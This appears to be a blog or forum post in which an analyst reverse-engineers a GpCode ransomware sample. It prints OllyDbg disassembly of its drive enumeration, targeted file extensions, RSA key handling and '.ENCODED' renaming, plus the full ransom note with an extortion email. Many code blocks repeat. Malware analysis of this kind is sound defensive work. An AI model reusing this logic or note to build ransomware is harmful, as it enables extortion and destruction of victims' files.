Hi, firstly: sorry for my bad English. It's not my native language (I'M FRENCH)
Well, I’ve wanted to make a post about that a long time ago but I was really bored to have a look at it.
Finally I did it because no one seem done it before (or no one have the sample to work at it?)
So let's start directly, if you want to know more about GpCode story, have a look at this post:
http://www.securelist.com/en/blog/333/GpCode_like_Ransomware_Is_Back
Some technical informations about the file:
CRC32: CCDFBD05
MD5: b14c45c1792038fd69b5c75e604242a3
SHA1: 54ab323053f1138e5ccaa8f8afaa38cabca9491f
Packer: UPX 0.89.6 - 1.02 / 1.05 - 2.90 -> Markus & Laszlo
Compiler: MASM/TASM
File size: 10,5 Kb (10 752 bytes)
OEP: 00011790
Also known as: Trojan.Gpcoder.G (Symantec), GPcoder.j (McAfee), Trojan:Win32/Ransom.BQ (Microsoft), TROJ_RANSOM.EWQ (TrendMicro), Troj/Ransom-U (Sophos)
"Main place" in Ollydbg:
OEP: 0x401990 (When unpacked)
Text version:
00401990 >/$ E8 48FCFFFF CALL 004015DD ; 1.004015DD
00401995 |. 85C0 TEST EAX,EAX
00401997 |. 0F84 80000000 JE 00401A1D ; 1.00401A1D
0040199D |. 68 2E304000 PUSH 40302E ; /MutexName = "ilold"
004019A2 |. 6A 00 PUSH 0 ; |Inheritable = FALSE
004019A4 |. 68 01001F00 PUSH 1F0001 ; |Access = 1F0001
004019A9 |. E8 12010000 CALL 00401AC0 ; \OpenMutexA
004019AE |. 85C0 TEST EAX,EAX
004019B0 |. 75 6B JNZ SHORT 00401A1D ; 1.00401A1D
004019B2 |. 68 2E304000 PUSH 40302E ; /MutexName = "ilold"
004019B7 |. 6A 00 PUSH 0 ; |InitialOwner = FALSE
004019B9 |. 6A 00 PUSH 0 ; |pSecurity = NULL
004019BB |. E8 9A000000 CALL 00401A5A ; \CreateMutexA
004019C0 |. E8 3BF6FFFF CALL 00401000 ; 1.00401000
004019C5 |. 85C0 TEST EAX,EAX
004019C7 |. 74 54 JE SHORT 00401A1D ; 1.00401A1D
004019C9 |. E8 A3F8FFFF CALL 00401271 ; 1.00401271
004019CE |. 33C0 XOR EAX,EAX
004019D0 |. 50 PUSH EAX ; /pThreadId => NULL
004019D1 |. 50 PUSH EAX ; |CreationFlags => 0
004019D2 |. 50 PUSH EAX ; |pThreadParm => NULL
004019D3 |. 68 35134000 PUSH 401335 ; |ThreadFunction = 1.00401335
004019D8 |. 50 PUSH EAX ; |StackSize => 0
004019D9 |. 50 PUSH EAX ; |pSecurity => NULL
004019DA |. E8 81000000 CALL 00401A60 ; \CreateThread
004019DF |. 6A 01 PUSH 1 ; /ErrorMode = SEM_FAILCRITICALERRORS
004019E1 |. E8 EC000000 CALL 00401AD2 ; \SetErrorMode
004019E6 |. E8 A5000000 CALL 00401A90 ; [GetLogicalDrives
004019EB |. B9 19000000 MOV ECX,19
004019F0 |> BB 01000000 /MOV EBX,1
004019F5 |. D3E3 |SHL EBX,CL
004019F7 |. 23D8 |AND EBX,EAX
004019F9 |. 74 1F |JE SHORT 00401A1A ; 1.00401A1A
004019FB |. 80C1 41 |ADD CL,41
004019FE |. 880D 70304000 |MOV BYTE PTR DS:[403070],CL
00401A04 |. 80E9 41 |SUB CL,41
00401A07 |. C705 71304000>|MOV DWORD PTR DS:[403071],2A5C3A
00401A11 |. 50 |PUSH EAX
00401A12 |. 51 |PUSH ECX
00401A13 |. E8 EEFDFFFF |CALL 00401806 ; 1.00401806
00401A18 |. 59 |POP ECX
00401A19 |. 58 |POP EAX
00401A1A |> 49 |DEC ECX
00401A1B |.^ 7D D3 \JGE SHORT 004019F0 ; 1.004019F0
00401A1D |> 68 F4010000 PUSH 1F4 ; /Timeout = 500. ms
00401A22 |. E8 BD000000 CALL 00401AE4 ; \Sleep
00401A27 |. 833D 34304000>CMP DWORD PTR DS:[403034],1
00401A2E |.^ 75 ED JNZ SHORT 00401A1D ; 1.00401A1D
00401A30 |. E8 90F6FFFF CALL 004010C5 ; 1.004010C5
00401A35 |. E8 33FDFFFF CALL 0040176D ; 1.0040176D
00401A3A |. 6A 00 PUSH 0 ; /ExitCode = 0
00401A3C \. E8 25000000 CALL 00401A66 ; \ExitProcess
00401995 |. 85C0 TEST EAX,EAX
00401997 |. 0F84 80000000 JE 00401A1D ; 1.00401A1D
0040199D |. 68 2E304000 PUSH 40302E ; /MutexName = "ilold"
004019A2 |. 6A 00 PUSH 0 ; |Inheritable = FALSE
004019A4 |. 68 01001F00 PUSH 1F0001 ; |Access = 1F0001
004019A9 |. E8 12010000 CALL 00401AC0 ; \OpenMutexA
004019AE |. 85C0 TEST EAX,EAX
004019B0 |. 75 6B JNZ SHORT 00401A1D ; 1.00401A1D
004019B2 |. 68 2E304000 PUSH 40302E ; /MutexName = "ilold"
004019B7 |. 6A 00 PUSH 0 ; |InitialOwner = FALSE
004019B9 |. 6A 00 PUSH 0 ; |pSecurity = NULL
004019BB |. E8 9A000000 CALL 00401A5A ; \CreateMutexA
004019C0 |. E8 3BF6FFFF CALL 00401000 ; 1.00401000
004019C5 |. 85C0 TEST EAX,EAX
004019C7 |. 74 54 JE SHORT 00401A1D ; 1.00401A1D
004019C9 |. E8 A3F8FFFF CALL 00401271 ; 1.00401271
004019CE |. 33C0 XOR EAX,EAX
004019D0 |. 50 PUSH EAX ; /pThreadId => NULL
004019D1 |. 50 PUSH EAX ; |CreationFlags => 0
004019D2 |. 50 PUSH EAX ; |pThreadParm => NULL
004019D3 |. 68 35134000 PUSH 401335 ; |ThreadFunction = 1.00401335
004019D8 |. 50 PUSH EAX ; |StackSize => 0
004019D9 |. 50 PUSH EAX ; |pSecurity => NULL
004019DA |. E8 81000000 CALL 00401A60 ; \CreateThread
004019DF |. 6A 01 PUSH 1 ; /ErrorMode = SEM_FAILCRITICALERRORS
004019E1 |. E8 EC000000 CALL 00401AD2 ; \SetErrorMode
004019E6 |. E8 A5000000 CALL 00401A90 ; [GetLogicalDrives
004019EB |. B9 19000000 MOV ECX,19
004019F0 |> BB 01000000 /MOV EBX,1
004019F5 |. D3E3 |SHL EBX,CL
004019F7 |. 23D8 |AND EBX,EAX
004019F9 |. 74 1F |JE SHORT 00401A1A ; 1.00401A1A
004019FB |. 80C1 41 |ADD CL,41
004019FE |. 880D 70304000 |MOV BYTE PTR DS:[403070],CL
00401A04 |. 80E9 41 |SUB CL,41
00401A07 |. C705 71304000>|MOV DWORD PTR DS:[403071],2A5C3A
00401A11 |. 50 |PUSH EAX
00401A12 |. 51 |PUSH ECX
00401A13 |. E8 EEFDFFFF |CALL 00401806 ; 1.00401806
00401A18 |. 59 |POP ECX
00401A19 |. 58 |POP EAX
00401A1A |> 49 |DEC ECX
00401A1B |.^ 7D D3 \JGE SHORT 004019F0 ; 1.004019F0
00401A1D |> 68 F4010000 PUSH 1F4 ; /Timeout = 500. ms
00401A22 |. E8 BD000000 CALL 00401AE4 ; \Sleep
00401A27 |. 833D 34304000>CMP DWORD PTR DS:[403034],1
00401A2E |.^ 75 ED JNZ SHORT 00401A1D ; 1.00401A1D
00401A30 |. E8 90F6FFFF CALL 004010C5 ; 1.004010C5
00401A35 |. E8 33FDFFFF CALL 0040176D ; 1.0040176D
00401A3A |. 6A 00 PUSH 0 ; /ExitCode = 0
00401A3C \. E8 25000000 CALL 00401A66 ; \ExitProcess
In the first call, GpCode will load, and lock a resource.
004015F4 |. 6A 0A PUSH 0A ; /ResourceType = RT_RCDATA
004015F6 |. 68 65304000 PUSH 403065 ; |ResourceName = "cfg"
004015FB |. 6A 00 PUSH 0 ; |hModule = NULL
004015FD |. E8 7C040000 CALL 00401A7E ; \FindResourceA
004015F6 |. 68 65304000 PUSH 403065 ; |ResourceName = "cfg"
004015FB |. 6A 00 PUSH 0 ; |hModule = NULL
004015FD |. E8 7C040000 CALL 00401A7E ; \FindResourceA
Screenshot of grabbed data:
According to the first bytes this is not a valid PE file (So, why moving this?).
Well:
0040160D |. 50 PUSH EAX ; /hResource
0040160E |. 6A 00 PUSH 0 ; |hModule = NULL
00401610 |. E8 C9040000 CALL 00401ADE ; \SizeofResource
00401615 |. 0BC0 OR EAX,EAX
00401617 |. 75 04 JNZ SHORT 0040161D ; GpCode.0040161D
00401619 |. 33C0 XOR EAX,EAX
0040161B |. C9 LEAVE
0040161C |. C3 RETN
0040160E |. 6A 00 PUSH 0 ; |hModule = NULL
00401610 |. E8 C9040000 CALL 00401ADE ; \SizeofResource
00401615 |. 0BC0 OR EAX,EAX
00401617 |. 75 04 JNZ SHORT 0040161D ; GpCode.0040161D
00401619 |. 33C0 XOR EAX,EAX
0040161B |. C9 LEAVE
0040161C |. C3 RETN
Here it grabs the size of the resource, eax will contain 0000055D (1373)
Note: The screenshot of resource hacker also indicate the size.
When it's done, it gets free memory by GlobalAlloc (at eax: 00175158)
With the specified size: 55D
00401646 |. FF75 F0 PUSH DWORD PTR SS:[EBP-10] ; /MemSize
00401649 |. 6A 40 PUSH 40 ; |Flags = GPTR
0040164B |. E8 52040000 CALL 00401AA2 ; \GlobalAlloc
00401650 |. 0BC0 OR EAX,EAX
00401649 |. 6A 40 PUSH 40 ; |Flags = GPTR
0040164B |. E8 52040000 CALL 00401AA2 ; \GlobalAlloc
00401650 |. 0BC0 OR EAX,EAX
Then, it does a copy to the following memory (00175158)
0040165D |. FF75 F0 PUSH DWORD PTR SS:[EBP-10] ; /Length = 55D (1373.)
00401660 |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; |Source = GpCode.0040F474
00401663 |. FF75 EC PUSH DWORD PTR SS:[EBP-14] ; |Destination = 00175158
00401666 |. E8 61040000 CALL 00401ACC ; \RtlMoveMemory
0040166B |. FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; /hResource = 0040F474
0040166E |. E8 11040000 CALL 00401A84 ; \FreeResource
00401673 |. 8B5D EC MOV EBX,DWORD PTR SS:[EBP-14]
00401676 |. 6A 10 PUSH 10 ; /Length = 10 (16.)
00401678 |. 53 PUSH EBX ; |Source = 00175158
00401679 |. 68 70444000 PUSH 404470 ; |Destination = GpCode.00404470
0040167E |. E8 49040000 CALL 00401ACC ; \RtlMoveMemory
00401660 |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; |Source = GpCode.0040F474
00401663 |. FF75 EC PUSH DWORD PTR SS:[EBP-14] ; |Destination = 00175158
00401666 |. E8 61040000 CALL 00401ACC ; \RtlMoveMemory
0040166B |. FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; /hResource = 0040F474
0040166E |. E8 11040000 CALL 00401A84 ; \FreeResource
00401673 |. 8B5D EC MOV EBX,DWORD PTR SS:[EBP-14]
00401676 |. 6A 10 PUSH 10 ; /Length = 10 (16.)
00401678 |. 53 PUSH EBX ; |Source = 00175158
00401679 |. 68 70444000 PUSH 404470 ; |Destination = GpCode.00404470
0040167E |. E8 49040000 CALL 00401ACC ; \RtlMoveMemory
Just after doing this, it goes to another call
In this call it will decrypt the data contained at 00175158 (seems interesting now)
At the end of loop:
We got a clear text with also a list of extensions which will be encrypted:
- .jpg
- .jpeg
- .psd
- .cdr
- .dwg
- .max
- .mov
- .m2v
- .3gp
- .doc
- .docx
- .xls
- .xlsx
- .ppt
- .pptx
- .rar
- .zip
- .mdb
- .mp3
- .cer
- .p12
- .pfx
- .kwm
- .pwm
- .txt
- .avi
- .flv
- .lnk
- .bmp
- .1cd
- .md
- .mdf
- .dbf
- .mdb
- .odt
- .vob
- .ifo
- .mpeg
- .mpg
- .doc
- .docx
- .xls
- .xlsx
.bat .sys .exe .ini files will not be attacked because the system uses all of them.
And the goal of GpCode is not to crash the system.
So, he returns to the call and move again the memory to another place.
With selecting this time a block of bytes (398) and move it to 00175BB8
004016CD |. 57 PUSH EDI ; /Length = 398 (920.)
004016CE |. 53 PUSH EBX ; |Source = 00175172
004016CF |. FF35 88444000 PUSH DWORD PTR DS:[404488] ; |Destination = 00175BB8
004016D5 |. E8 F2030000 CALL 00401ACC ; \RtlMoveMemory
004016CE |. 53 PUSH EBX ; |Source = 00175172
004016CF |. FF35 88444000 PUSH DWORD PTR DS:[404488] ; |Destination = 00175BB8
004016D5 |. E8 F2030000 CALL 00401ACC ; \RtlMoveMemory
Block of 398 bytes:
00175BA8 Attention!!! ..All your personal files (
00175BE8 photo, documents, texts, databases, certificates, kwm-files, vid
00175C28 eo) have been encrypted by a very strong cypher RSA-1024. The or
00175C68 iginal files are deleted. You can check this by yourself - just
00175CA8 look for files in all folders... There is no possibility to dec
00175CE8 rypt these files without a special decrypt program! Nobody can h
00175D28 elp you - even don't try to find another method or tell anybody.
00175D68 Also after n days all encrypted files will be completely delete
00175DA8 d and you will have no chance to get it back. .. We can help to
00175DE8 solve this task for 120$ via wire transfer (bank transfer SWIFT/
00175E28 IBAN). And remember: any harmful or bad words to our side will b
00175E68 e a reason for ingoring your message and nothing will be done...
00175EA8 For details you have to send your request on this e-mail (attach
00175EE8 to message a full serial key shown below in this 'how to..' fil
00175F28 e on desktop): datafinder@fastmail.fm
00175BE8 photo, documents, texts, databases, certificates, kwm-files, vid
00175C28 eo) have been encrypted by a very strong cypher RSA-1024. The or
00175C68 iginal files are deleted. You can check this by yourself - just
00175CA8 look for files in all folders... There is no possibility to dec
00175CE8 rypt these files without a special decrypt program! Nobody can h
00175D28 elp you - even don't try to find another method or tell anybody.
00175D68 Also after n days all encrypted files will be completely delete
00175DA8 d and you will have no chance to get it back. .. We can help to
00175DE8 solve this task for 120$ via wire transfer (bank transfer SWIFT/
00175E28 IBAN). And remember: any harmful or bad words to our side will b
00175E68 e a reason for ingoring your message and nothing will be done...
00175EA8 For details you have to send your request on this e-mail (attach
00175EE8 to message a full serial key shown below in this 'how to..' fil
00175F28 e on desktop): datafinder@fastmail.fm
After, another block is moved (271 bytes)
0040170A |. FF35 80444000 PUSH DWORD PTR DS:[404480] ; /Length = 10F (271.)
00401710 |. 53 PUSH EBX ; |Source = 00175512
00401711 |. FF35 8C444000 PUSH DWORD PTR DS:[40448C] ; |Destination = 001756C0
00401717 |. E8 B0030000 CALL 00401ACC ; \RtlMoveMemory
00401710 |. 53 PUSH EBX ; |Source = 00175512
00401711 |. FF35 8C444000 PUSH DWORD PTR DS:[40448C] ; |Destination = 001756C0
00401717 |. E8 B0030000 CALL 00401ACC ; \RtlMoveMemory
The block of bytes moved, you guessed it?:
001756C0 *.jpg.*.jpeg.*.psd.*.cdr.*.dwg.*.max.*.mov.*.m2v.*.3gp.*.doc.*.d
00175700 ocx.*.xls.*.xlsx.*.ppt.*.pptx.*.rar.*.zip.*.mdb.*.mp3.*.cer.*.p1
00175740 2.*.pfx.*.kwm.*.pwm.*.txt.*.pdf.*.avi.*.flv.*.lnk.*.bmp.*.1cd.*.
00175780 md.*.mdf.*.dbf.*.mdb.*.odt.*.vob.*.ifo,.*.mpeg.*.mpg.*.doc.*.doc
001757C0 x.*.xls.*.xlsx
00175700 ocx.*.xls.*.xlsx.*.ppt.*.pptx.*.rar.*.zip.*.mdb.*.mp3.*.cer.*.p1
00175740 2.*.pfx.*.kwm.*.pwm.*.txt.*.pdf.*.avi.*.flv.*.lnk.*.bmp.*.1cd.*.
00175780 md.*.mdf.*.dbf.*.mdb.*.odt.*.vob.*.ifo,.*.mpeg.*.mpg.*.doc.*.doc
001757C0 x.*.xls.*.xlsx
After that he returns to the "Main place" (screenshot 1)
And Create the mutex "ilold"
004019B2 |. 68 2E304000 PUSH 40302E ; /MutexName = "ilold"
004019B7 |. 6A 00 PUSH 0 ; |InitialOwner = FALSE
004019B9 |. 6A 00 PUSH 0 ; |pSecurity = NULL
004019BB |. E8 9A000000 CALL 00401A5A ; \CreateMutexA
004019B7 |. 6A 00 PUSH 0 ; |InitialOwner = FALSE
004019B9 |. 6A 00 PUSH 0 ; |pSecurity = NULL
004019BB |. E8 9A000000 CALL 00401A5A ; \CreateMutexA
Then it goes to a call.. a crypto procedure
004019C0 |. E8 3BF6FFFF CALL 00401000 ; GpCode.00401000
Well I'm not very good to explain crypto stuff
So I will make it simple: it generate a key then it store it and use GlobalAlloc to set a free memory place.
I will give you some screenshot if you have a better level than me you will surely understand
00401050 |. E8 DD0A0000 CALL 00401B32 ; <JMP.&advapi32.CryptExportKey>
00401055 |. FF35 A2444000 PUSH DWORD PTR DS:[4044A2] ; /MemSize = 2C (44.)
0040105B |. 6A 40 PUSH 40 ; |Flags = GPTR
0040105D |. E8 400A0000 CALL 00401AA2 ; \GlobalAlloc
00401055 |. FF35 A2444000 PUSH DWORD PTR DS:[4044A2] ; /MemSize = 2C (44.)
0040105B |. 6A 40 PUSH 40 ; |Flags = GPTR
0040105D |. E8 400A0000 CALL 00401AA2 ; \GlobalAlloc
Hex dump of address 4044A2:
Then it also gets free memory at 0017CD30:
004010A0 |. E8 A50A0000 CALL 00401B4A ; <JMP.&advapi32.CryptSetKeyParam>
004010A5 |. 68 00000100 PUSH 10000 ; /MemSize = 10000 (65536.)
004010AA |. 6A 40 PUSH 40 ; |Flags = GPTR
004010AC |. E8 F1090000 CALL 00401AA2 ; \GlobalAlloc
004010B1 |. 0BC0 OR EAX,EAX
004010A5 |. 68 00000100 PUSH 10000 ; /MemSize = 10000 (65536.)
004010AA |. 6A 40 PUSH 40 ; |Flags = GPTR
004010AC |. E8 F1090000 CALL 00401AA2 ; \GlobalAlloc
004010B1 |. 0BC0 OR EAX,EAX
Take 44 from 0017B928 and move it 008F0020
004012D2 |. FF35 A2444000 PUSH DWORD PTR DS:[4044A2] ; /Length = 2C (44.)
004012D8 |. FF35 A6444000 PUSH DWORD PTR DS:[4044A6] ; |Source = 0017B928
004012DE |. FF35 C8444000 PUSH DWORD PTR DS:[4044C8] ; |Destination = 008F0020
004012E4 |. E8 E3070000 CALL 00401ACC ; \RtlMoveMemory
004012D8 |. FF35 A6444000 PUSH DWORD PTR DS:[4044A6] ; |Source = 0017B928
004012DE |. FF35 C8444000 PUSH DWORD PTR DS:[4044C8] ; |Destination = 008F0020
004012E4 |. E8 E3070000 CALL 00401ACC ; \RtlMoveMemory
And what we see in the source?
Call CryptEncrypt, used for RSA:
0040130C |. E8 1B080000 CALL 00401B2C ; <JMP.&advapi32.CryptEncrypt>
After it creates a thread and retrieves a bitmask representing the currently available disk drives.
Then we enter in a loop.
The return value from GetLogicalDrives is a bitmask representing the currently available disk drives.
Bit position 0 (the least-significant bit) is drive A, bit position 1 is drive B, bit position 2 is drive C, and so on.
On the loop, we will start from 25 (Drive Z) and when a number is found for example 'D' (who have the position 3)
You will not take the "jump if equal", enter in a call *do something* and then return in the loop for continue, next letters position 2: "C"
I name this place "Core" because all will be decided inside this procedure for data.
Let's see what he is doing to 'D'
00401806 /$ 55 PUSH EBP
00401807 |. 8BEC MOV EBP,ESP
00401809 |. 81EC 44010000 SUB ESP,144
0040180F |. 8D85 BCFEFFFF LEA EAX,DWORD PTR SS:[EBP-144]
00401815 |. 50 PUSH EAX ; /pFindFileData
00401816 |. 68 70304000 PUSH 403070 ; |FileName = "D:\*"
0040181B |. E8 52020000 CALL 00401A72 ; \FindFirstFileA
00401820 |. 40 INC EAX
00401821 |. 0F84 67010000 JE 0040198E ; 1.0040198E
00401807 |. 8BEC MOV EBP,ESP
00401809 |. 81EC 44010000 SUB ESP,144
0040180F |. 8D85 BCFEFFFF LEA EAX,DWORD PTR SS:[EBP-144]
00401815 |. 50 PUSH EAX ; /pFindFileData
00401816 |. 68 70304000 PUSH 403070 ; |FileName = "D:\*"
0040181B |. E8 52020000 CALL 00401A72 ; \FindFirstFileA
00401820 |. 40 INC EAX
00401821 |. 0F84 67010000 JE 0040198E ; 1.0040198E
He does... NOTHiNG.
'D' was my CD drive and there is no CD inside (FindFirstFileA is an explicit API right?) so eax return FFFFFFFF
He take the jump which leave the procedure.
0040198E |> \C9 LEAVE
0040198F \. C3 RETN
0040198F \. C3 RETN
But what's about my local disk 'C' who is the next ?
There is a blacklisted file "HOW TO DECRYPT FILES.txt"
If the ransomware found this file, he will quit the routine:
004018CF |. 53 |PUSH EBX ; /String2
004018D0 |. 68 38304000 |PUSH 403038 ; |String1 = "HOW TO DECRYPT FILES.txt"
004018D5 |. E8 22020000 |CALL 00401AFC ; \lstrcmpiA
004018DA |. 85C0 |TEST EAX,EAX
004018DC |. 0F84 8D000000 |JE 0040196F ; 1.0040196F
004018D0 |. 68 38304000 |PUSH 403038 ; |String1 = "HOW TO DECRYPT FILES.txt"
004018D5 |. E8 22020000 |CALL 00401AFC ; \lstrcmpiA
004018DA |. 85C0 |TEST EAX,EAX
004018DC |. 0F84 8D000000 |JE 0040196F ; 1.0040196F
It does another check after, but we dont know wich file for the moment.
004018CF |. 53 |PUSH EBX ; /String2
004018D0 |. 68 38304000 |PUSH 403038 ; |String1 = "HOW TO DECRYPT FILES.txt"
004018D5 |. E8 22020000 |CALL 00401AFC ; \lstrcmpiA
004018DA |. 85C0 |TEST EAX,EAX
004018DC |. 0F84 8D000000 |JE 0040196F ; 1.0040196F
004018E8 |. 53 |PUSH EBX ; /String2
004018E9 |. 68 644F4000 |PUSH 404F64 ; |String1 = ""
004018EE |. E8 09020000 |CALL 00401AFC ; \lstrcmpiA
004018D0 |. 68 38304000 |PUSH 403038 ; |String1 = "HOW TO DECRYPT FILES.txt"
004018D5 |. E8 22020000 |CALL 00401AFC ; \lstrcmpiA
004018DA |. 85C0 |TEST EAX,EAX
004018DC |. 0F84 8D000000 |JE 0040196F ; 1.0040196F
004018E8 |. 53 |PUSH EBX ; /String2
004018E9 |. 68 644F4000 |PUSH 404F64 ; |String1 = ""
004018EE |. E8 09020000 |CALL 00401AFC ; \lstrcmpiA
That will be bad if the ransomware encode it's own stuff -.^ (to be continued)
After this check, the ransomware 'create' a path to the file
004018FD |. 50 |PUSH EAX ; /StringToAdd = "AUTOEXEC.BAT"
004018FE |. 68 70354000 |PUSH 403570 ; |ConcatString = "C:\AUTOEXEC.BAT"
00401903 |. E8 E8010000 |CALL 00401AF0 ; \lstrcatA
004018FE |. 68 70354000 |PUSH 403570 ; |ConcatString = "C:\AUTOEXEC.BAT"
00401903 |. E8 E8010000 |CALL 00401AF0 ; \lstrcatA
And then it check the extention of the file:
00401914 |> /51 |/PUSH ECX
00401915 |. |53 ||PUSH EBX ; /Wildcard
00401916 |. |68 70354000 ||PUSH 403570 ; |Path = "C:\AUTOEXEC.BAT"
0040191B |. |E8 36020000 ||CALL 00401B56 ; \PathMatchSpecA
00401920 |. |83F8 01 ||CMP EAX,1
00401923 |. |75 03 ||JNZ SHORT 00401928 ; 1.00401928
00401925 |. |59 ||POP ECX
00401926 |. |EB 10 ||JMP SHORT 00401938 ; 1.00401938
00401928 |> |53 ||PUSH EBX ; /String
00401929 |. |E8 E0010000 ||CALL 00401B0E ; \lstrlenA
0040192E |. |03D8 ||ADD EBX,EAX
00401930 |. |83C3 01 ||ADD EBX,1
00401933 |. |59 ||POP ECX
00401934 |.^\E2 DE |\LOOPD SHORT 00401914 ; 1.00401914
00401915 |. |53 ||PUSH EBX ; /Wildcard
00401916 |. |68 70354000 ||PUSH 403570 ; |Path = "C:\AUTOEXEC.BAT"
0040191B |. |E8 36020000 ||CALL 00401B56 ; \PathMatchSpecA
00401920 |. |83F8 01 ||CMP EAX,1
00401923 |. |75 03 ||JNZ SHORT 00401928 ; 1.00401928
00401925 |. |59 ||POP ECX
00401926 |. |EB 10 ||JMP SHORT 00401938 ; 1.00401938
00401928 |> |53 ||PUSH EBX ; /String
00401929 |. |E8 E0010000 ||CALL 00401B0E ; \lstrlenA
0040192E |. |03D8 ||ADD EBX,EAX
00401930 |. |83C3 01 ||ADD EBX,1
00401933 |. |59 ||POP ECX
00401934 |.^\E2 DE |\LOOPD SHORT 00401914 ; 1.00401914
The ".bat" extension is not in the 'list' of extension to crypt so he simply leave with this line.
00401936 |. /EB 37 |JMP SHORT 0040196F ; 1.0040196F
And proceed to the next file:
00401975 |. 50 |PUSH EAX ; /pFindFileData
00401976 |. FF75 FA |PUSH DWORD PTR SS:[EBP-6] ; |hFile
00401979 |. E8 FA000000 |CALL 00401A78 ; \FindNextFileA
0040197E |. 85C0 |TEST EAX,EAX
00401980 |.^ 0F85 A5FEFFFF \JNZ 0040182B ; 1.0040182B
0040197E |. 85C0 |TEST EAX,EAX
00401986 |. FF75 FA PUSH DWORD PTR SS:[EBP-6] ; /hSearch
00401989 |. E8 DE000000 CALL 00401A6C ; \FindClose
0040198E |> C9 LEAVE
0040198F \. C3 RETN
00401976 |. FF75 FA |PUSH DWORD PTR SS:[EBP-6] ; |hFile
00401979 |. E8 FA000000 |CALL 00401A78 ; \FindNextFileA
0040197E |. 85C0 |TEST EAX,EAX
00401980 |.^ 0F85 A5FEFFFF \JNZ 0040182B ; 1.0040182B
0040197E |. 85C0 |TEST EAX,EAX
00401986 |. FF75 FA PUSH DWORD PTR SS:[EBP-6] ; /hSearch
00401989 |. E8 DE000000 CALL 00401A6C ; \FindClose
0040198E |> C9 LEAVE
0040198F \. C3 RETN
To test the procedure i've made a txt file called "AUTOEXEC.txt"
This time it detects the extension .txt and dont take the conditional jump:
00401923 |. /75 03 ||JNZ SHORT 00401928 ; 1.00401928
00401925 |. |59 ||POP ECX
00401926 |. |EB 10 ||JMP SHORT 00401938 ; 1.00401938
00401925 |. |59 ||POP ECX
00401926 |. |EB 10 ||JMP SHORT 00401938 ; 1.00401938
it jump here:
00401938 |> \68 70354000 |PUSH 403570 ; /Arg1 = 00403570 ASCII "C:\AUTOEXEC.txt"
0040193D |. E8 9CF7FFFF |CALL 004010DE ; \1.004010DE
00401942 |. 68 70354000 |PUSH 403570 ; /String2 = "C:\AUTOEXEC.txt"
00401947 |. 68 703A4000 |PUSH 403A70 ; |String1 = 1.00403A70
0040194C |. E8 B1010000 |CALL 00401B02 ; \lstrcpyA
00401951 |. 68 00304000 |PUSH 403000 ; /StringToAdd = ".ENCODED"
00401956 |. 68 703A4000 |PUSH 403A70 ; |ConcatString = ""
0040195B |. E8 90010000 |CALL 00401AF0 ; \lstrcatA
00401960 |. 68 703A4000 |PUSH 403A70 ; /NewName = ""
00401965 |. 68 70354000 |PUSH 403570 ; |ExistingName = "C:\AUTOEXEC.txt"
0040196A |. E8 4B010000 |CALL 00401ABA ; \MoveFileA
0040193D |. E8 9CF7FFFF |CALL 004010DE ; \1.004010DE
00401942 |. 68 70354000 |PUSH 403570 ; /String2 = "C:\AUTOEXEC.txt"
00401947 |. 68 703A4000 |PUSH 403A70 ; |String1 = 1.00403A70
0040194C |. E8 B1010000 |CALL 00401B02 ; \lstrcpyA
00401951 |. 68 00304000 |PUSH 403000 ; /StringToAdd = ".ENCODED"
00401956 |. 68 703A4000 |PUSH 403A70 ; |ConcatString = ""
0040195B |. E8 90010000 |CALL 00401AF0 ; \lstrcatA
00401960 |. 68 703A4000 |PUSH 403A70 ; /NewName = ""
00401965 |. 68 70354000 |PUSH 403570 ; |ExistingName = "C:\AUTOEXEC.txt"
0040196A |. E8 4B010000 |CALL 00401ABA ; \MoveFileA
What do we see ?
He takes the full patch to the file, then it enters to a procedure and do something
After the return, it renames the file with the extension ".ENCODED"
And continue to check for other files.
Let's enter inside the call now.
00401109 |. 6A 00 PUSH 0 ; /pFileSizeHigh = NULL
0040110B |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; |hFile
0040110E |. E8 77090000 CALL 00401A8A ; \GetFileSize
00401113 |. 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX
00401116 |. 83F8 10 CMP EAX,10
00401119 |. 0F8C 41010000 JL 00401260 ; 1.00401260
0040110B |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; |hFile
0040110E |. E8 77090000 CALL 00401A8A ; \GetFileSize
00401113 |. 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX
00401116 |. 83F8 10 CMP EAX,10
00401119 |. 0F8C 41010000 JL 00401260 ; 1.00401260
Interesting thing is this size check, files under 11 bytes are not crypted
like my AUTOEXEC.txt which have 4 bytes "test"
He takes the conditional jump and we are here:
00401260 |> \FF75 FC PUSH DWORD PTR SS:[EBP-4] ; /hObject = 00000054
00401263 |. E8 E6070000 CALL 00401A4E ; \CloseHandle
00401268 |. B8 01000000 MOV EAX,1
0040126D |. C9 LEAVE
0040126E \. C2 0400 RETN 4
00401263 |. E8 E6070000 CALL 00401A4E ; \CloseHandle
00401268 |. B8 01000000 MOV EAX,1
0040126D |. C9 LEAVE
0040126E \. C2 0400 RETN 4
It closes the handle and returns to the "core" nothing was encoded inside the txt
I think it doesn't crypt files under 10 bytes for win time, 10 bytes files are useless.
And it needs to crypt datas as fast as possible.
It adds anyway to the files under 10 bytes the extension .ENCODED [iS THAT A BUG????]
(A basic victim will think all is crypted right?)
So it will continue to proceed next files and finally after some attempt the 2nd thread start
00401335 /$ FF35 92444000 PUSH DWORD PTR DS:[404492] ; /Time = 0,
0040133B |. E8 A4070000 CALL <JMP.&KERNEL32.Sleep> ; \KERNEL32.Sleep
00401340 |. E8 0B000000 CALL 00401350
00401345 |. C705 34304000 MOV DWORD PTR DS:[403034],1
0040134F \. C3 RETN
00401350 /$ 55 PUSH EBP
0040133B |. E8 A4070000 CALL <JMP.&KERNEL32.Sleep> ; \KERNEL32.Sleep
00401340 |. E8 0B000000 CALL 00401350
00401345 |. C705 34304000 MOV DWORD PTR DS:[403034],1
0040134F \. C3 RETN
00401350 /$ 55 PUSH EBP
GpCode will create a TXT file on your desktop
Using SHGetSpecialFolderPathA api to find the desktop path.
It create and write inside a file called “HOW TO DECRYPT FILES.txt”
Then it goes to a loop for the RSA key, and write it at the end of file (HOW TO DECRYPT FILES.txt)
Example of file maked:
Attention!!!
All your personal files (photo, documents, texts, databases, certificates, kwm-files, video) have been encrypted by a very strong cypher RSA-1024. The original files are deleted. You can check this by yourself - just look for files in all folders.
